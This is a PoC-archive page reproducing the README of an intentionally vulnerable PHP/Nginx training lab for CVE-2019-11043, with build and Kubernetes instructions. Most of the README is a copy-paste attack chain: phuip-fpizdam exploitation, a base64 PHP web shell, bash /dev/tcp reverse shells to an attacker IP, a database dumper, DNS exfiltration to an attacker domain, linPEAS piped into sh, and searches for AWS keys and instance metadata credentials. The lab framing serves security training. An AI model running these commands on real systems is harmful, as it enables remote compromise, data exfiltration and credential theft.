Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CVE-2019-11043 PoC — PHP 缓冲区错误漏洞

Source
Associated Vulnerability
Title:PHP 缓冲区错误漏洞 (CVE-2019-11043)
Description:PHP(PHP:Hypertext Preprocessor,PHP:超文本预处理器)是PHPGroup和开放源代码社区的共同维护的一种开源的通用计算机脚本语言。该语言主要用于Web开发,支持多种数据库及操作系统。 PHP中存在缓冲区错误漏洞。该漏洞源于网络系统或产品在内存上执行操作时,未正确验证数据边界,导致向关联的其他内存位置上执行了错误的读写操作。攻击者可利用该漏洞导致缓冲区溢出或堆溢出等。以下产品及版本受到影响:PHP 7.1.33之前版本的7.1.x版本,7.2.24之前版本的7.2.x版本,7
Readme
# Task Management APP (CVE-2019-11043 Lab)

Minimal PHP app with intentionally vulnerable Nginx/PHP-FPM setup for reproducing CVE-2019-11043. Includes a tiny task manager, login/admin, and DB config UI.

## Build & Run (Docker)

```bash
# build
docker build -t cve-2019-11043-lab:app .

# run
docker run --rm -p 8080:80 cve-2019-11043-lab:app

# open
open http://localhost:8080/
```

## Exploit Quickstart

Use `phuip-fpizdam` against `status.php`, let it detect params, then rerun with `--skip-detect`.

```bash
~/go/bin/phuip-fpizdam "http://localhost:8080/status.php"
```

## Database Support

The app supports **both SQLite and MySQL** with automatic detection:

### SQLite (Default)
- **DSN**: `sqlite:/var/www/html/data/app.sqlite`
- **No authentication required**
- **Automatic setup** - database file created on first run
- **Perfect for development and testing**

### MySQL (Optional)
- **DSN**: `mysql:host=hostname;port=3306;dbname=database;charset=utf8mb4`
- **Requires username/password authentication**
- **Environment variable override** for Kubernetes deployments

### Environment Variables
When these environment variables are set, they automatically override the DSN:
- `DB_HOST` - Database hostname
- `DB_PORT` - Database port (default: `3306`)
- `DB_NAME` - Database name
- `DB_USER` - Database username
- `DB_PASS` - Database password

### Automatic Migrations
- The app runs migrations on-demand from requests (e.g., `index.php`, `login.php`, `admin.php`).
- K8s probes hit `/health.php`, which also verifies DB connectivity.
- No external migration job or local PHP is required.

## Kubernetes (EKS) Deployment

Manifests are under `k8s/`:

- `k8s/secret.yaml`: MySQL credentials (stringData placeholders)
- `k8s/mysql-deployment.yaml`: MySQL Deployment + Service
- `k8s/app-deployment.yaml`: App Deployment (privileged) + Service; mounts secret and sets DB env vars
- `k8s/ingress.yaml`: Nginx Ingress routing to the app

Image placeholder uses `quay.io` – change `quay.io/your-org/cve-2019-11043-lab:app` to your repo.

Apply order:

```bash
kubectl apply -f k8s/secret.yaml
kubectl apply -f k8s/mysql-deployment.yaml
kubectl apply -f k8s/app-deployment.yaml
kubectl apply -f k8s/ingress.yaml
```

Ingress assumes an Nginx Ingress Controller and `taskapp.local` DNS/hosts pointing to its address.

## Project Structure

- `public/`: web root (entrypoints)
- `app/`: app helpers (config, db, auth, version)
- `php/`: PHP-FPM ini overrides
- `k8s/`: Kubernetes manifests
- `data/`: runtime data (SQLite db, config)

## Default Admin

Login at `/login.php` using `admin` / `admin` (UI hint hidden by CSS).

## Database Configuration UI

Access `/db_config.php` as admin to:
- View current database status and type
- Switch between SQLite and MySQL
- Configure connection parameters
- See connection examples for both database types

## Disclaimer

This is an intentionally vulnerable environment. Do not expose to untrusted networks.

## Multi-platform image build (Buildx)

Build and push a multi-arch image (linux/amd64, linux/arm64) to `quay.io`.

Prereqs: Docker Buildx (Docker Desktop includes it). Optional QEMU emulation: `docker run --privileged --rm tonistiigi/binfmt --install all`.

```bash
# set your repo once
export IMG=quay.io/your-org/cve-2019-11043-lab:app

# ensure buildx is ready
docker buildx create --use --name multi 2>/dev/null || docker buildx use multi
docker buildx inspect --bootstrap

# build and push multi-arch image
docker buildx build \
  --platform linux/amd64,linux/arm64 \
  -t "$IMG" \
  -t "${IMG}-$(date +%Y%m%d)" \
  --push .

# (optional) run locally on Apple Silicon as amd64
docker run --rm -p 8080:80 --platform linux/amd64 "$IMG"
```

## End-to-end with phuip-fpizdam (copy/paste)

Set targets:

```bash
BASE=http://<your-elb-or-ingress-host>
TARGET="$BASE/status.php"
```

Exploit (auto-detect, then final run):

```bash
~/go/bin/phuip-fpizdam "$TARGET"
~/go/bin/phuip-fpizdam --skip-detect "$TARGET"
```

Drop a tiny web shell and verify exec:

```bash
# write /public/sh.php (cmd runner) via exploit's RCE primitive (examples vary by tool output)
# alternatively, if you have RCE already, you can curl it directly from your host:
curl -s "$BASE/" -o /dev/null # warmup
# minimal cmd runner served from your host
printf "<?php @system(
isset(\$_GET['c'])?\$_GET['c']:'id');" | sed "s/$/\n/" | base64 > sh.b64
# deliver via RCE or any write primitive to /var/www/html/public/sh.php
# validate:
curl -s "$BASE/sh.php?c=whoami"
```

Continue with Post-Exploitation Lab Exercises below for reverse shell, MySQL dump, DNS TXT exfil, linPEAS, and AWS keys search.

## Post-Exploitation Lab Exercises (for this lab only)

These steps are for educational use in this lab environment only.

Set your base URL and attacker IP:

```bash
BASE=http://<your-elb-or-ingress-host>
ATTACKER_IP=<your-ip>
ATTACKER_PORT=4444
```

### 1) Get command execution and drop a simple web shell

After you exploit CVE-2019-11043 with `phuip-fpizdam`, use the RCE primitive to write a tiny web shell. If you already have a shell inside the container, run:

```bash
# write /public/sh.php with a minimal cmd runner
printf "PD9waHAgQHN5c3RlbSgkX0dFVFsnYyddKTs/Pg==" | base64 -d | sudo tee /var/www/html/public/sh.php >/dev/null
```

If you only have RCE (no shell), run the same base64 write via the RCE primitive (e.g., through the exploit tool).

Validate:

```bash
curl -s "$BASE/sh.php?c=whoami"
```

### 2) whoami

```bash
curl -s "$BASE/sh.php?c=whoami"
```

### 3) Reverse shell attempt (bash /dev/tcp)

On your attacker host:

```bash
nc -lvnp "$ATTACKER_PORT"
```

Trigger from the target (URL-encoded command):

```bash
ENC="bash -c 'bash -i >& /dev/tcp/$ATTACKER_IP/$ATTACKER_PORT 0>&1'"
curl -g --data-urlencode c="$ENC" "$BASE/sh.php"
```

If `bash` is unavailable, try:

```bash
ENC="sh -c 'sh -i >& /dev/tcp/$ATTACKER_IP/$ATTACKER_PORT 0>&1'"
curl -g --data-urlencode c="$ENC" "$BASE/sh.php"
```

### 4) MySQL backup (dump)

Option A (cluster operator path):

```bash
kubectl exec deploy/mysql -- sh -lc 'mysqldump -u"$MYSQL_USER" -p"$MYSQL_PASSWORD" "$MYSQL_DATABASE" | gzip -c' > dump.sql.gz
```

Option B (via web shell using PHP PDO): write a quick dumper script that uses the app config:

```bash
# create /public/dump.php using the web shell RCE
cat <<'PHP' | base64 | tr -d '\n' | xargs -I{} curl -s "$BASE/sh.php?c=echo {} | base64 -d > /var/www/html/public/dump.php"
<?php
require __DIR__.'/../app/db.php';
$pdo=app_db_connect();
$tables=$pdo->query("SHOW TABLES")->fetchAll(PDO::FETCH_COLUMN);
foreach($tables as $t){
  $rows=$pdo->query("SELECT * FROM `{$t}`")->fetchAll(PDO::FETCH_ASSOC);
  echo "-- Table: {$t}\n";
  echo json_encode($rows, JSON_UNESCAPED_UNICODE|JSON_UNESCAPED_SLASHES),"\n";
}
PHP

# fetch the dump
curl -s "$BASE/dump.php" | tee dump.json
```

### 5) Exfiltrate via DNS TXT (toy example)

Point a test domain you control (e.g., `exf.attacker.tld`) to a nameserver you capture on (e.g., `dnschef` or `bind`). Then from the target, trigger DNS lookups carrying chunks:

```bash
# minimal PHP-based exfil using DNS queries
PHPONE='php -r '\''$d=file_get_contents("/var/www/html/public/dump.php");$b=base64_encode($d);$c=str_split($b,40);foreach($c as $i=>$x){gethostbyname("$i.".$x.".exf.attacker.tld");usleep(50000);} echo "done\n"; '\''' 
curl -g --data-urlencode c="$PHPONE" "$BASE/sh.php"
```

Observe queries on your nameserver; reconstruct from labels.

### 6) Pull and run linPEAS (priv-esc enumeration)

```bash
curl -sL https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh
```

### 7) Search for AWS keys

```bash
# env vars
curl -s "$BASE/sh.php?c=env" | grep -E 'AWS_|AKIA'

# filesystem (possible secrets mounted, configs, code)
curl -s "$BASE/sh.php?c=grep -R --exclude-dir=proc --exclude-dir=sys -E "'"'AKIA[0-9A-Z]{16}'"'" / 2>/dev/null"

# instance metadata (if reachable; usually blocked from pods)
curl -s "$BASE/sh.php?c=curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/" || true
```

Again: only perform these within this lab. Never test against systems you don’t own or have explicit permission to assess.
File Snapshot

[4.0K] /data/pocs/a7d99a84393b7ae661d8ca8692ab68654024ef0a ├── [4.0K] app │   ├── [1.2K] auth.php │   ├── [1.4K] config.php │   ├── [2.0K] db.php │   ├── [ 524] init_db.php │   └── [ 65] version.php ├── [4.0K] data ├── [1.6K] Dockerfile ├── [4.0K] k8s │   ├── [2.3K] app-deployment.yaml │   ├── [ 565] ingress.yaml │   ├── [1.5K] mysql-deployment.yaml │   └── [ 241] secret.yaml ├── [1.1K] nginx.conf ├── [4.0K] php │   ├── [ 21] zz-cgi.ini │   └── [ 15] zz-expose.ini ├── [4.0K] public │   ├── [2.4K] admin.php │   ├── [4.0K] assets │   │   └── [2.6K] styles.css │   ├── [3.3K] db_config.php │   ├── [ 525] health.php │   ├── [1.2K] index.php │   ├── [ 542] info.php │   ├── [1.4K] login.php │   ├── [ 130] logout.php │   └── [ 854] status.php └── [8.0K] README.md 6 directories, 23 files
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. If the original source is unavailable, please email f.jinxu#gmail.com for a local snapshot (replace # with @).
    3. Shenlong has snapshotted the POC code for you. To support long-term maintenance, please consider donating. Thank you for your support.